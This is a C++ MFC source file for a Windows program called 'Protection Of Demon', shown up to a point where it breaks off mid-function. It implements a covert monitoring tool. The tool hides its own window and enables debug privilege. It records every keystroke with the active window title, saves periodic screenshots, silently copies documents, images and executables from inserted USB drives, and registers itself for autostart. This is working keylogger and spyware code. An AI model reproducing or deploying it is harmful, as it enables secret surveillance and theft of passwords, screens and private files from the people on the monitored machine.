ProtectOfDemon/源代码/Protection Of DemonDlg.cpp

915 lines
27 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Protection Of DemonDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "Protection Of Demon.h"
#include "Protection Of DemonDlg.h"
#include "afxdialogex.h"
#include "VirtualKeyToAscii.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
// 用于应用程序“关于”菜单项的 CAboutDlg 对话框
class CAboutDlg : public CDialogEx
{
public:
CAboutDlg();
// 对话框数据
enum { IDD = IDD_ABOUTBOX };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
// 实现
protected:
DECLARE_MESSAGE_MAP()
};
CAboutDlg::CAboutDlg() : CDialogEx(CAboutDlg::IDD)
{
}
void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
}
void CProtectionOfDemonDlg::OnFileExit()
{
// TODO: 在此添加命令处理程序代码
if(IDOK == ::MessageBox(NULL, "Are You Sure To Exit ?", "EXIT", MB_OKCANCEL | MB_ICONWARNING))
{
exit(0);
}
}
void CProtectionOfDemonDlg::OnHelpAbout()
{
// TODO: 在此添加命令处理程序代码
CAboutDlg dlg;
dlg.DoModal();
}
BEGIN_MESSAGE_MAP(CAboutDlg, CDialogEx)
END_MESSAGE_MAP()
// CProtectionOfDemonDlg 对话框
CProtectionOfDemonDlg::CProtectionOfDemonDlg(CWnd* pParent /*=NULL*/)
: CDialogEx(CProtectionOfDemonDlg::IDD, pParent)
{
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
m_bHidden = FALSE;
}
void CProtectionOfDemonDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_SLIDER_TIME, m_Time);
}
BEGIN_MESSAGE_MAP(CProtectionOfDemonDlg, CDialogEx)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_COMMAND(ID_FILE_EXIT, &CProtectionOfDemonDlg::OnFileExit)
ON_COMMAND(ID_HELP_ABOUT, &CProtectionOfDemonDlg::OnHelpAbout)
ON_BN_CLICKED(IDC_CHECK_KEYBOARD_RECORD, &CProtectionOfDemonDlg::OnBnClickedCheckKeyboardRecord)
ON_BN_CLICKED(IDC_BUTTON_KEYBOARD_RECORD_SAVE_PATH, &CProtectionOfDemonDlg::OnBnClickedButtonKeyboardRecordSavePath)
// ON_NOTIFY(NM_CUSTOMDRAW, IDC_SLIDER_TIME, &CProtectionOfDemonDlg::OnNMCustomdrawSliderTime)
ON_NOTIFY(NM_RELEASEDCAPTURE, IDC_SLIDER_TIME, &CProtectionOfDemonDlg::OnReleasedcaptureSliderTime)
ON_BN_CLICKED(IDC_BUTTON_IMAGE_RECORD_SAVE_PATH, &CProtectionOfDemonDlg::OnBnClickedButtonImageRecordSavePath)
ON_BN_CLICKED(IDC_CHECK_AUTORUN, &CProtectionOfDemonDlg::OnBnClickedCheckAutorun)
ON_BN_CLICKED(IDC_BUTTON_SHUTDOWN_TIMER, &CProtectionOfDemonDlg::OnBnClickedButtonShutdownTimer)
ON_BN_CLICKED(IDC_BUTTON_FILE_RECORD_SAVE_PATH, &CProtectionOfDemonDlg::OnBnClickedButtonFileRecordSavePath)
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_ALL_FILES, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileAllFiles)
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_EXE, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileExe)
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_JPG_PNG_BMP, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileJpgPngBmp)
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_DOC_DOCX, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileDocDocx)
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_XLS_XLSX, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileXlsXlsx)
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_PPT_PPTX, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFilePptPptx)
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_MP3_WAV, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileMp3Wav)
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_MP4_AVI_RMVB_MKV, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileMp4AviRmvbMkv)
ON_WM_DEVICECHANGE()
ON_MESSAGE(WM_HOTKEY, OnHotKey)
END_MESSAGE_MAP()
// CProtectionOfDemonDlg 消息处理程序
BOOL EnablePriv()
{
HANDLE hToken;
::OpenProcessToken(::GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
TOKEN_PRIVILEGES tkp;
::LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid); // 修改进程权限
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
::AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL); // 通知系统修改进程权限
return false;
}
BOOL CProtectionOfDemonDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();
// 将“关于...”菜单项添加到系统菜单中。
// IDM_ABOUTBOX 必须在系统命令范围内。
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
BOOL bNameValid;
CString strAboutMenu;
bNameValid = strAboutMenu.LoadString(IDS_ABOUTBOX);
ASSERT(bNameValid);
if (!strAboutMenu.IsEmpty())
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
}
// 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动
// 执行此操作
SetIcon(m_hIcon, TRUE); // 设置大图标
SetIcon(m_hIcon, FALSE); // 设置小图标
// TODO: 在此添加额外的初始化代码
EnablePriv();
// 隐藏窗口
ModifyStyleEx(WS_EX_APPWINDOW, WS_EX_TOOLWINDOW, SWP_DRAWFRAME);
::GetWindowRect(m_hWnd, &m_rcOldRect);
::MoveWindow(m_hWnd, -1000, -1000, 0, 0, FALSE);
// 注册热键
BOOL bRet = ::RegisterHotKey(m_hWnd, 1000, MOD_CONTROL | MOD_SHIFT, 'S'); // 注册的热键Ctrl+Shift+H
::GetModuleFileName(NULL, m_szPrivateFilePath, MAX_PATH);
GetCurrentFile(m_szPrivateFilePath, "Config.ini");
FILE *fp = NULL;
fopen_s(&fp, m_szPrivateFilePath, "a+");
if(NULL != fp)
{
fclose(fp);
}
GetPropertyFromPrivateFile(m_szPrivateFilePath);
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
}
void CProtectionOfDemonDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
{
CAboutDlg dlgAbout;
dlgAbout.DoModal();
}
else
{
CDialogEx::OnSysCommand(nID, lParam);
}
}
// 如果向对话框添加最小化按钮,则需要下面的代码
// 来绘制该图标。对于使用文档/视图模型的 MFC 应用程序,
// 这将由框架自动完成。
void CProtectionOfDemonDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // 用于绘制的设备上下文
SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0);
// 使图标在工作区矩形中居中
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// 绘制图标
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialogEx::OnPaint();
}
}
//当用户拖动最小化窗口时系统调用此函数取得光标
//显示。
HCURSOR CProtectionOfDemonDlg::OnQueryDragIcon()
{
return static_cast<HCURSOR>(m_hIcon);
}
BOOL CProtectionOfDemonDlg::GetPropertyFromPrivateFile(char *lpszPrivateFilePath)
{
DWORD dwTemp = 0;
if(1 == ::GetPrivateProfileInt("Keyboard Record", "Keyboard Check", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_KEYBOARD_RECORD, BST_CHECKED);
}
m_Time.SetRange(0, 300);
dwTemp = ::GetPrivateProfileInt("Screen Capture", "Time", 0, lpszPrivateFilePath);
m_Time.SetPos(dwTemp);
char szTime[MAX_PATH] = {0};
::wsprintf(szTime, "%ds", dwTemp);
::SetWindowText(::GetDlgItem(m_hWnd, IDC_STATIC_TIMER), szTime);
::SetTimer(m_hWnd, 1, 1000*dwTemp, NULL);
if(1 == ::GetPrivateProfileInt("U Disk Copy", "All Files", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_ALL_FILES, BST_CHECKED);
}
if(1 == ::GetPrivateProfileInt("U Disk Copy", "exe", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_EXE, BST_CHECKED);
}
if(1 == ::GetPrivateProfileInt("U Disk Copy", "jpg_png_bmp", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_JPG_PNG_BMP, BST_CHECKED);
}
if(1 == ::GetPrivateProfileInt("U Disk Copy", "doc_docx", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_DOC_DOCX, BST_CHECKED);
}
if(1 == ::GetPrivateProfileInt("U Disk Copy", "ppt_pptx", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_PPT_PPTX, BST_CHECKED);
}
if(1 == ::GetPrivateProfileInt("U Disk Copy", "xls_xlsx", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_XLS_XLSX, BST_CHECKED);
}
if(1 == ::GetPrivateProfileInt("U Disk Copy", "mp3_wav", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_MP3_WAV, BST_CHECKED);
}
if(1 == ::GetPrivateProfileInt("U Disk Copy", "mp4_avi_rmvb_mkv", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_MP4_AVI_RMVB_MKV, BST_CHECKED);
}
if(1 == ::GetPrivateProfileInt("Auto Run", "AutoRun", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_AUTORUN, BST_CHECKED);
}
dwTemp = ::GetPrivateProfileString("Keyboard Record", "Keyboard Record Save Path", "", m_szKeyboardPath, MAX_PATH, lpszPrivateFilePath);
if(0 == dwTemp)
{
::GetModuleFileName(NULL, m_szKeyboardPath, MAX_PATH);
GetCurrentFile(m_szKeyboardPath, "Keyboard Record.txt");
}
::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_KEYBOARD_RECORD_SAVE_PATH), m_szKeyboardPath);
dwTemp = ::GetPrivateProfileString("Screen Capture", "Screen Capture Save Path", "", m_szScreenCapturePath, MAX_PATH, lpszPrivateFilePath);
if(0 == dwTemp)
{
::GetModuleFileName(NULL, m_szScreenCapturePath, MAX_PATH);
GetCurrentFile(m_szScreenCapturePath, "Screen Capture\\");
::CreateDirectory(m_szScreenCapturePath, NULL);
}
::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_IMAGE_RECORD), m_szScreenCapturePath);
dwTemp = ::GetPrivateProfileString("U Disk Copy", "U Disk Copy Save Path", "", m_szCopyFilePath, MAX_PATH, lpszPrivateFilePath);
if(0 == dwTemp)
{
::GetModuleFileName(NULL, m_szCopyFilePath, MAX_PATH);
GetCurrentFile(m_szCopyFilePath, "U Disk Copy\\");
::CreateDirectory(m_szCopyFilePath, NULL);
}
::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_FILE_RECORD), m_szCopyFilePath);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_KEYBOARD_RECORD, BN_CLICKED), NULL);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_AUTORUN, BN_CLICKED), NULL);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_ALL_FILES, BN_CLICKED), NULL);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_EXE, BN_CLICKED), NULL);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_JPG_PNG_BMP, BN_CLICKED), NULL);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_DOC_DOCX, BN_CLICKED), NULL);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_PPT_PPTX, BN_CLICKED), NULL);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_XLS_XLSX, BN_CLICKED), NULL);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_MP3_WAV, BN_CLICKED), NULL);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_MP4_AVI_RMVB_MKV, BN_CLICKED), NULL);
return TRUE;
}
BOOL CProtectionOfDemonDlg::GetCurrentFile(char *lpszSrc, char *lpszDest)
{
char szBuffer[MAX_PATH] = {0};
::lstrcpy(szBuffer, lpszSrc);
::PathStripPath(szBuffer);
DWORD dwLen = ::lstrlen(lpszSrc) - ::lstrlen(szBuffer);
lpszSrc[dwLen] = '\0';
::lstrcat(lpszSrc, lpszDest);
return TRUE;
}
void CProtectionOfDemonDlg::OnBnClickedCheckKeyboardRecord()
{
// TODO: 在此添加控件通知处理程序代码
m_iState = ((CButton *)GetDlgItem(IDC_CHECK_KEYBOARD_RECORD))->GetCheck();
if(1 == m_iState) // Checked
{
::WritePrivateProfileString("Keyboard Record", "Keyboard Check", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::WritePrivateProfileString("Keyboard Record", "Keyboard Check", "0", m_szPrivateFilePath);
}
}
void CProtectionOfDemonDlg::OnBnClickedButtonKeyboardRecordSavePath()
{
// TODO: 在此添加控件通知处理程序代码
OPENFILENAME stOF;
char szKeyboardPath[MAX_PATH] = {0};
::RtlZeroMemory(&stOF, sizeof(stOF));
stOF.lStructSize = sizeof(stOF);
stOF.hwndOwner = m_hWnd;
stOF.lpstrFilter = "txt files(*.txt)\0*.txt\0\0";
stOF.lpstrFile = szKeyboardPath;
stOF.nMaxFile = MAX_PATH;
stOF.Flags = OFN_PATHMUSTEXIST;
::GetOpenFileName(&stOF);
::lstrcpy(m_szKeyboardPath, szKeyboardPath);
::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_KEYBOARD_RECORD_SAVE_PATH), m_szKeyboardPath);
::WritePrivateProfileString("Keyboard Record", "Keyboard Record Save Path", szKeyboardPath, m_szPrivateFilePath);
}
FILE *g_fp = NULL;
LRESULT CProtectionOfDemonDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam)
{
// TODO: 在此添加专用代码和/或调用基类
switch(message)
{
case WM_INITDIALOG:
{
RAWINPUTDEVICE rid;
rid.usUsagePage = 0x01;
rid.usUsage = 0x06;
rid.dwFlags = RIDEV_INPUTSINK;
rid.hwndTarget = m_hWnd;
::RegisterRawInputDevices(&rid, 1, sizeof(rid));
break;
}
case WM_INPUT:
{
if(1 != m_iState)
{
break;
}
if(NULL == g_fp)
{
fopen_s(&g_fp, m_szKeyboardPath, "a+");
}
UINT uiSize = 0;
::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &uiSize, sizeof(RAWINPUTHEADER));
BYTE *lpBuf = new BYTE[uiSize];
::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpBuf, &uiSize, sizeof(RAWINPUTHEADER));
RAWINPUT *pRawInput = (RAWINPUT *)lpBuf;
if(RIM_TYPEKEYBOARD == pRawInput->header.dwType)
{
// WM_KEYDOWN --> 普通按键 WM_SYSKEYDOWN --> 系统按键(指的是ALT)
if(WM_KEYDOWN == pRawInput->data.keyboard.Message ||
WM_SYSKEYDOWN == pRawInput->data.keyboard.Message)
{
char szKey[MAX_PATH] = {0};
char szTitle[MAX_PATH] = {0};
char szText[MAX_PATH] = {0};
// BYTE *lpKeyState = new BYTE[0x100];
// ::GetKeyboardState(lpKeyState);
// ::ToAscii(pRawInput->data.keyboard.VKey, 0, lpKeyState, (LPWORD)szKey, 0);
::lstrcpy(szKey, GetKeyName(pRawInput->data.keyboard.VKey));
HWND hForegroundWnd = ::GetForegroundWindow();
::GetWindowText(hForegroundWnd, szTitle, MAX_PATH);
::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey);
fseek(g_fp, 0, SEEK_END);
fwrite(szText, ::lstrlen(szText), 1, g_fp);
}
}
break;
}
case WM_TIMER:
{
int iIdEvent = (int)wParam;
switch(iIdEvent)
{
case 1:
{
SaveScreenCapture(m_szScreenCapturePath);
break;
}
case 2:
{
char szTemp[50] = {0};
::wsprintf(szTemp, "%ds Left", m_dwCountTime);
::SetWindowText(::GetDlgItem(m_hWnd, IDC_STATIC_SHUTDOWN), szTemp);
if(0 >= m_dwCountTime)
{
system("shutdown -p");
::KillTimer(m_hWnd, 2);
exit(0);
}
m_dwCountTime--;
break;
}
default:
break;
}
break;
}
default:
break;
}
return CDialogEx::WindowProc(message, wParam, lParam);
}
void CProtectionOfDemonDlg::OnReleasedcaptureSliderTime(NMHDR *pNMHDR, LRESULT *pResult)
{
// TODO: 在此添加控件通知处理程序代码
char szTime[MAX_PATH] = {0};
DWORD dwTime = m_Time.GetPos();
::wsprintf(szTime, "%ds", dwTime);
::SetWindowText(::GetDlgItem(m_hWnd, IDC_STATIC_TIMER), szTime);
::KillTimer(m_hWnd, 1);
::SetTimer(m_hWnd, 1, 1000*dwTime, NULL);
::WritePrivateProfileString("Screen Capture", "Time", szTime, m_szPrivateFilePath);
*pResult = 0;
}
void CProtectionOfDemonDlg::OnBnClickedButtonImageRecordSavePath()
{
// TODO: 在此添加控件通知处理程序代码
OPENFILENAME stOF;
char szScreenCapturePath[MAX_PATH] = {0};
::RtlZeroMemory(&stOF, sizeof(stOF));
stOF.lStructSize = sizeof(stOF);
stOF.hwndOwner = m_hWnd;
stOF.lpstrFilter = "all files(*.*)\0*.*\0\0";
stOF.lpstrFile = szScreenCapturePath;
stOF.nMaxFile = MAX_PATH;
stOF.Flags = OFN_PATHMUSTEXIST;
::GetOpenFileName(&stOF);
GetCurrentFile(szScreenCapturePath, "");
::lstrcpy(m_szScreenCapturePath, szScreenCapturePath);
::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_IMAGE_RECORD), m_szScreenCapturePath);
::WritePrivateProfileString("Screen Capture", "Screen Capture Save Path", szScreenCapturePath, m_szPrivateFilePath);
}
BOOL CProtectionOfDemonDlg::SaveScreenCapture(char *lpszSavePath)
{
char szPath[MAX_PATH] = {0};
HWND hDesktop = ::GetDesktopWindow();
HDC hdc = ::GetDC(hDesktop);
HDC mdc = ::CreateCompatibleDC(hdc);
DWORD dwWidth = ::GetSystemMetrics(SM_CXFULLSCREEN);
DWORD dwHeight = ::GetSystemMetrics(SM_CYFULLSCREEN);
HBITMAP bmp = ::CreateCompatibleBitmap(hdc, dwWidth, dwHeight);
HBITMAP holdbmp = (HBITMAP)::SelectObject(mdc, bmp);
::BitBlt(mdc, 0, 0, dwWidth, dwHeight, hdc, 0, 0, SRCCOPY);
::SelectObject(mdc, holdbmp);
CTime time = CTime::GetCurrentTime();
::CreateDirectory(m_szScreenCapturePath, NULL);
::wsprintf(szPath, "%s%.4d-%.2d-%.2d-%.2d-%.2d-%.2d.jpg", m_szScreenCapturePath,
time.GetYear(), time.GetMonth(), time.GetDay(),
time.GetHour(), time.GetMinute(), time.GetSecond());
CImage *pImage = new CImage;
pImage->Attach(bmp);
pImage->Save(szPath);
delete pImage;
pImage = NULL;
::DeleteObject(bmp);
::DeleteDC(mdc);
::ReleaseDC(hDesktop, hdc);
return TRUE;
}
void CProtectionOfDemonDlg::OnBnClickedCheckAutorun()
{
// TODO: 在此添加控件通知处理程序代码
char szFilePath[MAX_PATH] = {0};
::GetModuleFileName(NULL, szFilePath, MAX_PATH);
HKEY hKey;
::RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey);
int iState = ((CButton *)GetDlgItem(IDC_CHECK_AUTORUN))->GetCheck();
if(1 == iState) // Checked
{
::RegSetValueEx(hKey, "DemonProtectAutoRun", 0, REG_SZ, (BYTE *)szFilePath, ::lstrlen(szFilePath));
::WritePrivateProfileString("Auto Run", "AutoRun", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::RegDeleteValue(hKey, "DemonProtectAutoRun");
::WritePrivateProfileString("Auto Run", "AutoRun", "0", m_szPrivateFilePath);
}
::RegCloseKey(hKey);
}
void CProtectionOfDemonDlg::OnBnClickedButtonShutdownTimer()
{
// TODO: 在此添加控件通知处理程序代码
char szBuf[MAX_PATH] = {0};
::GetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_HOUR), szBuf, MAX_PATH);
DWORD dwHour = atoi(szBuf);
::GetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_MINUTE), szBuf, MAX_PATH);
DWORD dwMinute = atoi(szBuf);
::GetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_SECOND), szBuf, MAX_PATH);
DWORD dwSecond = atoi(szBuf);
m_dwCountTime = dwSecond + 60*dwMinute + 60*60*dwHour;
::KillTimer(m_hWnd, 2);
::SetTimer(m_hWnd, 2, 1000, NULL);
}
void CProtectionOfDemonDlg::OnBnClickedButtonFileRecordSavePath()
{
// TODO: 在此添加控件通知处理程序代码
OPENFILENAME stOF;
char szCopyFilePath[MAX_PATH] = {0};
::RtlZeroMemory(&stOF, sizeof(stOF));
stOF.lStructSize = sizeof(stOF);
stOF.hwndOwner = m_hWnd;
stOF.lpstrFilter = "all files(*.*)\0*.*\0\0";
stOF.lpstrFile = szCopyFilePath;
stOF.nMaxFile = MAX_PATH;
stOF.Flags = OFN_PATHMUSTEXIST;
::GetOpenFileName(&stOF);
GetCurrentFile(szCopyFilePath, "");
::lstrcpy(m_szCopyFilePath, szCopyFilePath);
::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_FILE_RECORD), m_szCopyFilePath);
::WritePrivateProfileString("U Disk Copy", "U Disk Copy Save Path", szCopyFilePath, m_szPrivateFilePath);
}
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileAllFiles()
{
// TODO: 在此添加控件通知处理程序代码
iState[0] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_ALL_FILES))->GetCheck();
if(1 == iState[0]) // Checked
{
::WritePrivateProfileString("U Disk Copy", "All Files", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::WritePrivateProfileString("U Disk Copy", "All Files", "0", m_szPrivateFilePath);
}
}
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileExe()
{
// TODO: 在此添加控件通知处理程序代码
iState[1] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_EXE))->GetCheck();
if(1 == iState[1]) // Checked
{
::WritePrivateProfileString("U Disk Copy", "exe", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::WritePrivateProfileString("U Disk Copy", "exe", "0", m_szPrivateFilePath);
}
}
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileJpgPngBmp()
{
// TODO: 在此添加控件通知处理程序代码
iState[2] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_JPG_PNG_BMP))->GetCheck();
if(1 == iState[2]) // Checked
{
::WritePrivateProfileString("U Disk Copy", "jpg_png_bmp", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::WritePrivateProfileString("U Disk Copy", "jpg_png_bmp", "0", m_szPrivateFilePath);
}
}
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileDocDocx()
{
// TODO: 在此添加控件通知处理程序代码
iState[3] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_DOC_DOCX))->GetCheck();
if(1 == iState[3]) // Checked
{
::WritePrivateProfileString("U Disk Copy", "doc_docx", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::WritePrivateProfileString("U Disk Copy", "doc_docx", "0", m_szPrivateFilePath);
}
}
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileXlsXlsx()
{
// TODO: 在此添加控件通知处理程序代码
iState[4] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_XLS_XLSX))->GetCheck();
if(1 == iState[4]) // Checked
{
::WritePrivateProfileString("U Disk Copy", "xls_xlsx", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::WritePrivateProfileString("U Disk Copy", "xls_xlsx", "0", m_szPrivateFilePath);
}
}
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFilePptPptx()
{
// TODO: 在此添加控件通知处理程序代码
iState[5] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_PPT_PPTX))->GetCheck();
if(1 == iState[5]) // Checked
{
::WritePrivateProfileString("U Disk Copy", "ppt_pptx", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::WritePrivateProfileString("U Disk Copy", "ppt_pptx", "0", m_szPrivateFilePath);
}
}
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileMp3Wav()
{
// TODO: 在此添加控件通知处理程序代码
iState[6] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_MP3_WAV))->GetCheck();
if(1 == iState[6]) // Checked
{
::WritePrivateProfileString("U Disk Copy", "mp3_wav", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::WritePrivateProfileString("U Disk Copy", "mp3_wav", "0", m_szPrivateFilePath);
}
}
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileMp4AviRmvbMkv()
{
// TODO: 在此添加控件通知处理程序代码
iState[7] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_MP4_AVI_RMVB_MKV))->GetCheck();
if(1 == iState[7]) // Checked
{
::WritePrivateProfileString("U Disk Copy", "mp4_avi_rmvb_mkv", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::WritePrivateProfileString("U Disk Copy", "mp4_avi_rmvb_mkv", "0", m_szPrivateFilePath);
}
}
BOOL CProtectionOfDemonDlg::OnDeviceChange(UINT nEventType, DWORD dwData)
{
switch(nEventType)
{
default:
{
char szDriver[4] = "A:\\";
for(szDriver[0] = 'A'; szDriver[0] <= 'Z'; szDriver[0]++)
{
if(DRIVE_REMOVABLE == ::GetDriveType(szDriver))
{
MYSTRUCT stMS;
stMS.lpThis = this;
::lstrcpy(stMS.szDriver, szDriver);
::lstrcpy(stMS.szSavePath, m_szCopyFilePath);
HANDLE hThread = ::CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)UDiskCopyThread, (LPVOID)(&stMS), 0, NULL);
::WaitForSingleObject(hThread, INFINITE);
}
}
break;
}
}
return true;
}
UINT CProtectionOfDemonDlg::UDiskCopyThread(LPVOID lpVoid)
{
MYSTRUCT *pstMS = (MYSTRUCT *)lpVoid;
CProtectionOfDemonDlg *pThis = (CProtectionOfDemonDlg *)pstMS->lpThis;
char szDriver[4] = {0};
::lstrcpy(szDriver, pstMS->szDriver);
szDriver[2] = '\0';
pThis->SearchAndCopyFile(szDriver, pstMS->szSavePath);
return 0;
}
void CProtectionOfDemonDlg::SearchAndCopyFile(char *strSrc, char *strDest)
{
char *strFileName = new char[256];
// 创建目录
::CreateDirectory(strDest, NULL);
// 搜索指定类型文件并复制
::wsprintf(strFileName, "%s\\*.*", strSrc);
WIN32_FIND_DATA FileData;
HANDLE hHandle = ::FindFirstFile(strFileName, &FileData);
if(INVALID_HANDLE_VALUE != hHandle)
{
do
{
char *strTempSrc = new char[MAX_PATH];
char *strTempDest = new char[MAX_PATH];
::wsprintf(strTempSrc,"%s\\%s", strSrc, FileData.cFileName);
::wsprintf(strTempDest,"%s\\%s", strDest, FileData.cFileName);
// 不知为何,会出现 . 字符,一定要过滤掉,否则会进入死循环里
if('.' == FileData.cFileName[0])
{
continue; // 过滤这两个目录
}
// 判断是否是目录,若是目录,则进行递归遍历
if(FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
SearchAndCopyFile(strTempSrc, strTempDest);
}
if(1 == iState[0]) // 复制所有文件
{
::CopyFile(strTempSrc, strTempDest, true);
}
else
{
char *strFormat = new char[10];
// 获取文件格式
GetFormat(FileData.cFileName, strFormat);
// exe类
if(1 == iState[1])
{
if(0 == ::lstrcmpi(strFormat, "exe"))
{
::CopyFile(strTempSrc, strTempDest, true);
}
}
// 图片类
if(1 == iState[2])
{
if(0 == ::lstrcmpi(strFormat, "jpg") ||
0 == ::lstrcmpi(strFormat, "png") ||
0 == ::lstrcmpi(strFormat, "bmp"))
{
::CopyFile(strTempSrc, strTempDest, true);
}
}
// Doc类
if(1 == iState[3])
{
if(0 == ::lstrcmpi(strFormat, "doc") ||
0 == ::lstrcmpi(strFormat, "docx"))
{
::CopyFile(strTempSrc, strTempDest, true);
}
}
// PPT类
if(1 == iState[4])
{
if(0 == ::lstrcmpi(strFormat, "ppt") ||
